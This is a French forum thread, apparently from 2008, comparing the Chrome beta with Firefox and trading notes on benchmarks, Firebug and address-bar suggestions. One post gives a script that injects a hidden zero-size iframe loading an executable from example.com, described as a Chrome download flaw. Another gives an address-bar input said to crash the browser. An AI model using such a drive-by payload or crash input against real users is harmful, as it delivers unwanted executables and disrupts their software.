Reprise du message précédent :
PIE a nettement plus d'un an et c'est un passage obligé pour IE6  
Mais c'est vrai qu'un bouquin datant de 1 ou 2 ans va peut-être pas parler de zoom: 1; pour se focaliser sur height: 1% et causer de hacks au lieu de commentaires conditionnels

phosphoreloaded > PIE, c'est pas une collection de livre?

Comment péter FF avec Firebug en 2 coups:
 
On sélectionne un div, dans la bar de droite on a :
 

 
On désactive display:block;
 
Et bam bam bam  

tu viens de découvrir les css "interne" de firefox

du bonheur et le pire c'est que c'est une feature, pas un bug

html.css et ua.css ==> pas touche    
Mais le pire c'est qu'il y a une clé dans about:config qui est censé contrôler ça mais c'est sans effet depuis ~FB 1.2 b10
 

Position Is Everything, un site de référence

ha ok. Google m'a trompé en me livrant aux affres de plusieurs livres dont le titre finissait par "PIE".

j'ai explosé de rire devant mon ecran  
1PQ bien mérité
 
Can you see ben ?

 
Je parlais plutôt de "Agile software development with Scrum (PIE)", "Computer graphics with openGL (3rd Ed.) PIE" et autres du genre ainsi que du site "PIE Books" dont je n'ai pas dépassé la page d'accueil.

Souvenirs de 6ème

 
Mise à jour du bench, avec la nightly d'aujourd'hui (comme par hasard ) qui corrige le bug avec TraceMonkey et SunSpider (entre autres)
 
Chrome : 1110.8ms +/- 1.9%
Firefox 3.1b1pre JIT on : 1094.0ms +/- 2.8%

Chrome, c'est quand même un peu de la merde, et puis une faille à été découverte, permettant d'exécuter n'importe quel exécutable avec un code très simple :

<script>
document.write('<iframe src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">');
</script>

Ca me donne pas trop confiance en la sécurité présumée de Chrome ce genre de trucs

En plus, il est assez vide de toutes fonctionnalités, il à des ratés sur pas mal de sites, c'est qu'une béta mais bof quoi

Oui, c'est une béta, t'as un soucis ou un bug, c'est fait pour.
Mais marmonner dans ton coin ça va rien changer.
 

 
C'est peut-être pas le logiciel ultime, mais de la à dire que c'est de la merde, c'est abusé ..
Pareil, dire que c'est vide de toute fonctionnalité c'est limite, disons plutot que tu en as vu aucune ou alors tu attendais qu'il te fasse le café ? ...

Pour l'utilisateur moyen, Chrome change quoi ?

Comme pour les autres browsers : plus de choix

Rapide, graphiquement pas encombrant

En fait ils ont trop simplifé la chose, et le téléchargement est trop simplifié. C'est très sexy d'avoir directement ses fichiers qui se téléchargent dès qu'on clique dessus.
Pour le coup de l'iframe n'importe quel navigateur propose le téléchargement.
Google chrome télécharge directement le fichier sans te demander ton avis. Donc pour régler ça, tu vas dans les options et tu coches la case pour demander où doivent être enregistré les fichier à chaque telechargement. Ensuite, il te suffit de cliquer sur annuler, tout simplement

simple !

 
ouverture d'un pdf/flash  sans lag
empreinte memoire raisonnable  
rapide  
 
c'est deja pas mal ,non ?

Wé donc cay nul quoi
 
Et pour le power user, il a quoi de plus ?

J'pensais qu'il y aurait une rupture quoi ... Cay juste un navigateur de plus, pas un truc révolutionnaire

Beh aycoute, ayssay

reellement, tu imagine quoi comme killer app ?  
 
j'ai pas encore parlé de google gear integré
 
c'est un navigateur web , et il navigue bien sur le web . period

J'suis sous mac, pu de paycay

Hep on parle d'un browser, tu veux qu'il change quoi ? Qu'il visite les pages à ta place ? Qu'il te sorte des réponses à des questions que tu t'es même pas encore posés ?
Faut revenir sur terre, c'est un browser de plus, oui, avec une certaine tendance à bien booster les applis web existantes, et ca c'est déjà tres bien
Mais voilà, il est en beta, donc wait&see

Ben comment dire, c'est un navigateur plus rapide que tous les autres au niveau JS
Son moteur de rendu est aux normes (webkit), et un rendu proche de safari
Il lance un processus par onglet, ce qui est assez bien et ne le rend pas lourd du tout
Il est très léger au passage
S'installe meme en bypassant les droit user. (%appdata%)
Est simple graphiquement
Charge par défaut les plugins installés dans internet explorer (flash, adobe PDF reader, player Windows media player microsoft, et autres conneries du même genre)
système de navigation privée à l'intérieure du navigateur. En mode navigation privée (nouvelle fenetre), aucune trace de ta navigation est conservée. Exemple : tu veux aller sur des sites de cul, tu te mets en mode privée, et tu navigue sur les sites dans ta fenetre privée, tout en gardant google chrome ouvert sur tes autres sites)
etc...

gmail qui se comporte comme une appli locale.

Brwosers need to be more secure ... wait no

Une plus grosse bite à sunspider.

Selon les dire de google ça devait être qqch de complètement différent, pensé pour le web d'aujourd'hui contrairement aux concurent que sont IE3 et netscape 4
 
P.S. Google gears a plus d'un an n'est utilisé pratiquement nulle part. C'est un échec quand on voit le potentiel théorique du bouzin.

C'est donc pour ça qu'il ne s'installe pas dans program files

et les suggestions dans la barre d'adresse ça démonte, qu'on soit noobie ou power user

Ben tous les autres navigateurs le font, ya quoi d'extraordinaire ?

hmm nan, là il va te chercher dans google directement le bon site de ce que tu cherches, genre si tu mets "forum hardware" voire meme "forum hdw" j'imagine, hop il va chercher dans la base de données de google et te proposer le site "http://forum.hardware.fr" même si tu ne l'a jamais visité, et cela directement dans le menu déroulant de la barre d'adresse !

Plus besoin de faire une recherche google pour trouver un site précis en fait, tout se fait dans la barre d'adresse !

Non les autres navigateurs le font pas, chrome a une awesomebar (celle de firefox 3) sous acide (google suggest powdered)

Et les suggestions sont 50x mieux que dans FF2, genre FF2 propose en premier choix la page la plus visitée, alors que GC propose d'abord le domaine principal.
 
Très utile quand t'es habitué à accéder à des trucs juste via l'URL, genre wikipedia.

Pour info, l'ajout de cette extension à FF3 permet de reproduire ce comportement : https://addons.mozilla.org/en-US/firefox/addon/7931

J'ai pas constaté le truc en gras. FF3, IE7 et Chrome tournaient tous les trois avec environ 50M de mémoire consommé (ok, 2 fois 25M pour Chrome) avec le même site d'affiché dans les trois.
 

Ha bon? Alors pourquoi ça ne marche pas chez moi? J'ai fait plusieurs essaies de saisie et tout ce qu'il m'affichait c'était les sites présent dans l'historique du navigateur.  

Tout s'explique. En fait tu n'as pas vérifié si ça marche. Tu t'es contenté d'essayer de deviner son fonctionnement à partir de la bande dessiné de google. En pratique il ne consulte ni google ni les autres moteurs de recherche. Il se contente de te donner le choix de "Rechercher forum hdw avec google" (ou avec le moteur de recherche qu'on a choisit j'imagine) et quand on clique sur ce choix on se retrouve avec la page de résultat classique de google. En pratique ça permet juste de sauter la page d'accueil de google et de ressaisir deux fois le même texte.
 
 
Personnellement, je trouve que dans l'ensemble la seule promesse tenu par ce navigateur c'est d'être plus rapide que les autres. Toutes les autres innovations promises dans la bd sont soit absente soit défectueuse (le plantage d'un onglet plante le logiciel entié par exemple)

 
Le "j'imagine" était pour "forum hdw"... teste avec "fourm hardware" ou n'importe quel truc, tu verras qu'il te propose des accès direct aux site même si tu ne les as jamais visités

 
La séparation en plusieurs processus garantit une libération de mémoire complète à la fermeture d'un onglet, ce que ne fait pas FF, par exemple.
 

 
t'as réussi à le planter comment?

Heeeeuu non. Là j'suis sous linux alors j'ai pas pu tester en cherchant "forum hdw" d'où le "j'imagine", mais j'avais fait des recherches dans ce style avec un mot s'approchant d'un nom de site, et il me proposait l'adresse du site bien orthographié alors que je n'y suis jamais allé !

Bin moi non, directement dans la barre d'adresse il me proposait les bons sites rien qu'en tapant leur nom voir leurs noms approximatif alors que je ne suis jamais allé sur ces sites

 
Je confirme, taper "defou" me propose http://www.defouilloux-joaillier.com/ et je suis sûr que j'ai jamais visité ça avant

Comme je n'ai pas passé ma journée dessus, je n'ai pas vérifier ce que chaque navigateur donne au bout de 50 pages et quelques ouvertures puis fermeture d'onglet.
 

Saisie ":%" dans la barre d'adresse (marche aussi avec "torrent:%", "evil:%", etc). Le plantage est immédiat et tu ne peux récupérer aucun onglet.
 

Tu m'a mis le doute, et du coup j'ai fait d'autres essaies. En pratique il faut écrire une partie du nom de domaine sans la moindre erreur (un seul caractère en trop ou un seul caractère erroné et il ne trouve plus rien) et en mettant des espaces entre les éléments de l'adresse pour qu'il s'y retrouve ("ruemontgallet" aucune réponse "rue montgallet" il trouve, "rue.montgallet" aucune réponse également). Ca doit être pour ça que ton "forum hdw" ne marche pas et pareil pour les deux trois test que j'avais fait hier.
 

En fait "d'approximatif", c'est juste les nom "incomplet" qu'il est capable de gérer. Si c'est approximatif dans le sens "mal écrit", c'est foutus.